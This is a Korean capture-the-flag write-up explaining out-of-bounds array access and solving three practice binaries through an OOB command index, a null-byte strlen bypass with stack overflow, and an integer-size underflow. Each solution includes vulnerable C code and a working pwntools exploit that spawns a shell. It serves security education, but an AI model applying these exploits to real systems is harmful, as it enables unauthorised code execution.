인지적 실수, 사소한 부등호 실수, 인덱스를 벗어나서 참조할 수 있어도 경고를 띄어주지 않는 커파일러 등으로 인해 프로그램에 있는 배열의 임의 인덱스에 접근하여 참조할 수 있는 취약점을 Out Of Bounds(OOB)라고 한다.
주로 OOB는 요소를 참조할 때, 인덱스 값이 음수이거나 배열의 길이를 벗어났을 때 발생한다.
배열은 연속된 메모리 공간을 점유하며, 배열이 점유하는 공간의 크기는 요소의 개수와 요소 자료성의 크기를 곱한 값이된다.

배열의 각 요소의 주소는 배열의 주소, 요소의 인덱스, 요소 자료형의 크기를 이용하여 계산된다.
OOB로 임의 주소의 값을 읽으려면, 읽으려는 변수와 배열의 오프셋을 알아야한다.
배열과 변수가 같은 세그먼트에 할당되어 있다면 둘 사이의 오프셋은 항상 일정하므로 디버깅을 통해 쉽게 알아낼 수 있다.
만약 같은 세그먼트가 아니라면 다른 취약점을 통해 두 변수의 주소를 구하고, 차이를 계산하여 오페슷을 구해야 한다.
OBB를 이용하면 임의 주소 값을 쓰는 것도 가능하다.
코드를 작성할 때 실수로 인덱스를 검사하는 코드를 생략하면, 이를 나중에 발견하기는 매우 어렵다. 그렇기 때문에 인덱스 값이 음수인지, 배열의 길이를 넘어서지는 않는지 검사하는 것이 중요하며 주의해야 한다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
command 배열을 보면 순서대로 cat,ls,id,ps,file ./oob가 저장되어 있다. 예시로 0번을 누르면 cat문자열을 사용할 것이다.
main 함수를 보면 Admin name을 입력받는다.
또한 scanf로 정수를 받고 그 정수 값을 command 인덱스로 넣는다.
여기서 인덱스 idx 변수의 범위를 제한하지 않으므로 OOB 취약점을 사용할 수 있다.
0x080486cb <+0>: lea ecx,[esp+0x4]
0x080486cf <+4>: and esp,0xfffffff0
0x080486d2 <+7>: push DWORD PTR [ecx-0x4]
0x080486d5 <+10>: push ebp
0x080486d6 <+11>: mov ebp,esp
0x080486d8 <+13>: push ecx
0x080486d9 <+14>: sub esp,0x14
0x080486dc <+17>: mov eax,gs:0x14
0x080486e2 <+23>: mov DWORD PTR [ebp-0xc],eax
0x080486e5 <+26>: xor eax,eax
0x080486e7 <+28>: call 0x804867b <initialize>
0x080486ec <+33>: sub esp,0xc
0x080486ef <+36>: push 0x8048811
0x080486f4 <+41>: call 0x80484b0 <printf@plt>
0x080486f9 <+46>: add esp,0x10
0x080486fc <+49>: sub esp,0x4
0x080486ff <+52>: push 0x10
0x08048701 <+54>: push 0x804a0ac
0x08048706 <+59>: push 0x0
0x08048708 <+61>: call 0x80484a0 <read@plt>
0x0804870d <+66>: add esp,0x10
0x08048710 <+69>: sub esp,0xc
0x08048713 <+72>: push 0x804881e
0x08048718 <+77>: call 0x80484b0 <printf@plt>
0x0804871d <+82>: add esp,0x10
0x08048720 <+85>: sub esp,0x8
0x08048723 <+88>: lea eax,[ebp-0x10]
0x08048726 <+91>: push eax
0x08048727 <+92>: push 0x8048832
0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>: add esp,0x10
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax
0x08048742 <+119>: call 0x8048500 <system@plt>
0x08048747 <+124>: add esp,0x10
0x0804874a <+127>: mov eax,0x0
0x0804874f <+132>: mov edx,DWORD PTR [ebp-0xc]
0x08048752 <+135>: xor edx,DWORD PTR gs:0x14
0x08048759 <+142>: je 0x8048760 <main+149>
0x0804875b <+144>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048760 <+149>: mov ecx,DWORD PTR [ebp-0x4]
0x08048763 <+152>: leave
0x08048764 <+153>: lea esp,[ecx-0x4]
0x08048767 <+156>: ret
일단 오프셋을 구해야 하기 때문에 gdb로 확인해 본다.



command의 시작 주소는 0x0804a060이고 name의 시작주소는 0x0804a0ac이다.
또한 둘 차이의 거리는 76바이트 만큼 차이가 난다.
어셈블리어에서 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060] 이 줄에 대입하면 eax*4=76이므로 idx = eax 19 (19X4=76)가 된다.
따라서 name에 문자열을 입력 받고 두번째 idx에 command 배열 범위를 초과하는 값인 19를 입력하면 name의 입력된 값이 실행되어 쉘을 획득할 수 있게 된다.
from pwn import *
p = remote('host3.dreamhack.games',24375)
payload = p32(0x804a0b0)
payload += b'/bin/sh'
p.sendlineafter(b'Admin name: ', payload)
p.sendlineafter(b'What do you want?: ', b'19')
p.interactive()



카나리와 PIE 보호기법은 걸려있지 않다.
c코드가 주어져있지 않으므로 IDA로 까서 봐야한다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-3Ah] BYREF
_BYTE v5[48]; // [rsp+10h] [rbp-30h] BYREF
init(argc, argv, envp);
puts("Hello, Can you Get shell???");
puts("It's unexploitable program XDDDDD");
puts("what is your name??");
read(0, buf, 0xAu);
printf("OPPS %sCan you exploit This Program?\n", buf);
printf("Your commnet : ");
__isoc99_scanf("%s", v5);
check(v5);
puts("Very EEEEEZ XDDDDDD\n");
puts("Bye Bye ~~\n");
return 0;
}
코드를 보면 read함수에서는 0xAu만큼 읽기 때문에 문제가 없지만
v5를 받는 scanf에서는 제한이 없기 때문에 bof가 발생할 수 있다.
또한 check 함수 코드는 다음과 같다.
__int64 __fastcall check(const char *a1)
{
if ( strlen(a1) > 0xF )
{
puts("Very long comment XDDD\n");
exit(0);
}
puts("Hmm.. It's real??\n");
return 0;
}
strlen을 사용하여 문자열 길이를 검사하는데 0xf보다 작아야한다.
정리하자면 v5의 문자열의 길이가 0xf보다 작아야 하므로 중간에 null문자를 넣어 strlen을 속인다.
v5는 rbp-0x30만큼 자리를 차지하므로 0x30만큼 쓰레기 값을 넣는다.
bof를 일으켜 반환주소를 get_shell로 만들면 된다.
따라서 첫번째 입력을 필요 없으므로 아무 값이나 넣고 두번째에는 0xf(15)전에 null문자를 넣어 길이를 속이고 0x30에서 두번째에 넣은 쓰레기 값만큼을 뺀 값을 넣어 반환주소로 간다.
반환주소를 get_sehll로 바꾸면 쉘이 따지게 된다.
이 문제에서는 이대로 하면 프로그램이 죽어서 정렬을 해야하므로 get_sehll 안에있는 ret주소를 가져와 정렬한다.
from pwn import *
p = process('./block_bof')
p.send(b'A')
payload = b'A'
payload += b'\x00'
payload += b'B' * (0x30 - 0x2)
payload += b'A' * 8
payload += p64(0x0000000000401293)
payload += p64(0x000000000040125c)
p.sendline(payload)
p.interactive()


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
system 함수가 존재하므로 문제에서는 이 system함수를 실행시키는 것이 목적이다.
main 함수를 보면 scanf로 size를 받는다. 256바이트를 초과하거나 음수 값을 입력하면 buffer overflow!를 출력하면서 프로그램이 종료된다.
다음은 Data를 입력 받는데 size-1까지 읽어버린다.
size값이 0이면 read함수에서 -1만큼 읽어 정수형으로 바꾸면 엄청나게 큰 데이터 값으로 바뀌기 때문에 read함수는 많은 데이터 값을 읽어도 된다고 판단하여 다른 값들 까지 읽어버린다. 따라서 buf값 256바이트를 넘어서도 읽을 수 있으므로 bof를 사용하면 된다.
from pwn import *
p = process('./sint')
p.sendlineafter(b"Size: ", b'0')
p.sendafter(b"Data: ", b'A' * 300)
p.interactive()

